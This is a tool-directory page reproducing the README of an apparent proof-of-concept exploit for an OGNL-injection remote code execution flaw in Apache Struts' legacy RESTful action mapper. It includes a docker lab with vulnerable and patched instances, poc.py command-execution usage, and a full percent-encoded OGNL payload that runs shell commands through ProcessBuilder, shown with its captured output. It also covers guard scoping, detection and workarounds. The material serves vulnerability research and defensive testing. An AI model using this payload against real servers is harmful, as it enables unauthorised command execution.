Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-104711-POC — POC exploit for CVE-2026-104711 - OGNL injection RCE in Apache Struts legacy REST action mapper (S2-075). Vulnerable vs fixed verification included. | Kitploit
Tools/GitHubGitHub/fixedbyreboot/cve-2026-104711-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPayload DevelopmentLabs & Practice
GitHubfixedbyreboot/cve-2026-104711-poc

CVE-2026-104711-POC

POC exploit for CVE-2026-104711 - OGNL injection RCE in Apache Struts legacy REST action mapper (S2-075). Vulnerable vs fixed verification included.

View Repository
213 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    901
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    861
  • 3

    wifit3

    derv82/wifit3

    Wifite but USB-only & cross-platform.

    668
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer is an open-source Privileged Access Management (PAM) platform that provides DevOps and IT teams with on-demand and secure access to SSH, RDP, Kubernetes, Database and RemoteApp endpoints through a web browser.

    448
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    414
  • 6

    SafeLine

    chaitin/safeline

    Self-hosted WAF and reverse proxy that filters malicious HTTP traffic, blocks SQL injection, XSS, and bot attacks, with rate limiting and dynamic HTML/JS encryption.

    401

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-104711 — Apache Struts OGNL injection (S2-075)

Language CVSS Affected Status Advisory License

Improper neutralization of an OGNL expression in the legacy RESTful action mapper (S2-075, CWE-917). When an application configures org.apache.struts2.dispatcher.mapper.RestfulActionMapper, the action name is taken verbatim from the first URI path segment. Unlike DefaultActionMapper, the legacy mapper never applied the allowed action-name pattern, so a request whose first path segment contains an OGNL expression passes it unchanged into downstream consumers that evaluate OGNL, leading to remote code execution. Fixed in Struts 6.12.0 and 7.4.0 (the mapper now routes non-conforming names to a configurable default action name, exactly like DefaultActionMapper has done since the S2-057/S2-061 hardening). NVD scores 9.8 (AC:L); the vendor scores 8.1 because the legacy mapper must be explicitly configured (AC:H).

Meta

  • Affected: Struts 2.0.0 - 2.3.37, 2.5.0 - 2.5.33, 6.0.0 - 6.11.0, 7.0.0 - 7.3.0
  • Fixed: 6.12.0 (6.x line), 7.4.0 (7.x line)
  • CVSS v3.1: 9.8 critical (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, NVD); vendor-scored 8.1
  • Advisory: https://cwiki.apache.org/confluence/display/WW/S2-075
  • GHSA: https://github.com/advisories/GHSA-wfm5-pq4p-gff9
  • oss-security: http://www.openwall.com/lists/oss-security/2026/10/05/10
  • Not affected: default action mapper, restful2 mapper, Struts REST plugin; Struts 7 default config (OGNL allowlist enabled)

Usage

Build and start both lab instances (vulnerable 6.11.0 and patched 6.12.0 control, identical application config):

docker compose build
docker compose up -d
  • http://127.0.0.1:8081 - vulnerable target (Struts 6.11.0)
  • http://127.0.0.1:8082 - patched control (Struts 6.12.0)

--mode selects the demonstration:

python3 poc.py --url http://127.0.0.1:8081 --mode eval
# one GET, OGNL expression in the first path segment; the evaluated string
# replaces the raw expression in the response header

python3 poc.py --url http://127.0.0.1:8081 --mode exec --command "id"
# command execution via java.lang.ProcessBuilder, output reflected in the
# same response header

--url is the lab base URL. --command is the command for exec mode (no / allowed; see Notes). Run the same commands against port 8082 for the control.

Expected output

Vulnerable target (Struts 6.11.0):

$ python3 poc.py --url http://127.0.0.1:8081 --mode exec --command "id; hostname; uname -s"
[*] exec: command 'id; hostname; uname -s' via sh -c, output reflected in X_Matched_Action
GET /%25%7Bnew%20java.util.Scanner%28new%20java.lang.ProcessBuilder%28%27shX-cXid%3B%20hostname%3B%20uname%20-s%27.split%28%27X%27%29%29.start%28%29.getInputStream%28%29%29.nextLine%28%29%7D/x
HTTP/1.1 200
X_Matched_Action: uid=1000(labuser) gid=1000(labuser) groups=1000(labuser),19(log),90(network),96(scanner),98(power),954(docker),982(users),983(video),985(storage),988(optical),989(lp),992(input),995(audio),998(wheel),1001(uinput)

Patched control (Struts 6.12.0), same requests:

$ python3 poc.py --url http://127.0.0.1:8082 --mode eval
X_Matched_Action: index

$ python3 poc.py --url http://127.0.0.1:8082 --mode exec --command "id; hostname; uname -s"
X_Matched_Action: index

Full raw captures live in evidence/ (vulnerable trigger, control run, and a scoping note on Struts' default guard layers).

Why it works

The 6.12.0 fix tells the story by itself. In 6.11.0 the mapper hands the raw URI segment to the action proxy:

// 6.11.0 - RestfulActionMapper.getMapping()
String actionName = uri.substring(1, nextSlash);

In 6.12.0 the segment is gated exactly like DefaultActionMapper:

// 6.12.0 - RestfulActionMapper.getMapping()
String actionName = cleanupActionName(uri.substring(1, nextSlash));
// cleanupActionName(): pattern [a-zA-Z0-9._!/\-]*, else defaultActionName ("index")

The lab app pairs the mapper with a wildcard action whose httpheader result embeds the wildcard-matched name in a header value:

<action name="*" class="com.opensymphony.xwork2.ActionSupport">
  <result type="httpheader">
    <param name="status">200</param>
    <param name="headers.X_Matched_Action">{1}</param>
  </result>
</action>

HttpHeaderResult evaluates its header values as OGNL against the value stack by default (parse=true, TextParseUtil.translateVariables(value, stack)), and the wildcard {1} substitution injects the raw action name into the evaluated string. On 6.11.0 the expression in the first path segment therefore reaches OgnlValueStack.findValue() untouched in a single request; on 6.12.0 the mapper replaced it with index before any evaluation happens, so the control responds with X_Matched_Action: index for the very same requests.

Path-encoding details that matter for the payload: the expression travels percent-encoded in the first path segment (%25 for the leading %, so Tomcat decodes the servlet path back to the exact OGNL text), the segment cannot contain / (a raw slash would end the action-name segment and Tomcat rejects %2F), and command arguments are passed to ProcessBuilder as a split('X') array (OGNL 3.3.5 does not match varargs constructors/methods with multi-argument call syntax in this evaluation path).

Notes

  • Guard scoping (see evidence/default-guards-scoping.txt for captured logs): achieving the ProcessBuilder RCE payoff requires relaxing two defense-in-depth layers that are independent of this CVE: (1) struts.excludedClasses / struts.excludedPackageNames (the Struts OGNL sandbox defaults exclude Runtime, ProcessBuilder, java.io, ognl, freemarker, ...), and (2) OGNL's own strict invocation mode (-Dognl.UseStricterInvocation, default true, hard-blocks ProcessBuilder/Runtime/ClassLoader methods inside invokeMethod()). The lab sets both to demonstrably harmless values and documents them in app/src/main/resources/struts.xml and the Dockerfile. The eval-mode injection works with fully default guards; the 6.12.0 control closes the injection itself, so the outcome is identical regardless of these settings.
  • Struts 7 is only affected when the OGNL allowlist is disabled (it is enabled by default); the fixed 7.4.0 behaves like 6.12.0 here.
  • Workaround for unpatchable deployments: use the default action mapper, the restful2 mapper, or the Struts REST plugin. Both legacy RESTful mappers are deprecated since 6.12.0/7.4.0 and are scheduled for removal.
  • Detection: wildcard actions feeding user-controlled segments into OGNL- evaluating results (httpheader, redirect, Freemarker/Velocity results) with %{/${ in request paths is a high-signal pattern; 6.12.0+ logs "<name> did not match allowed action names ... - default action index will be used!" at WARN when the new gate rejects a segment.
  • Evidence on this lab host was captured running the built WAR on a stock Tomcat 9.0.111 + JDK 21 user-space install (the host kernel temporarily lacked overlayfs for container runs); docker-compose.yml/Dockerfile reproduce the identical targets on a normal Docker host.
Download Tool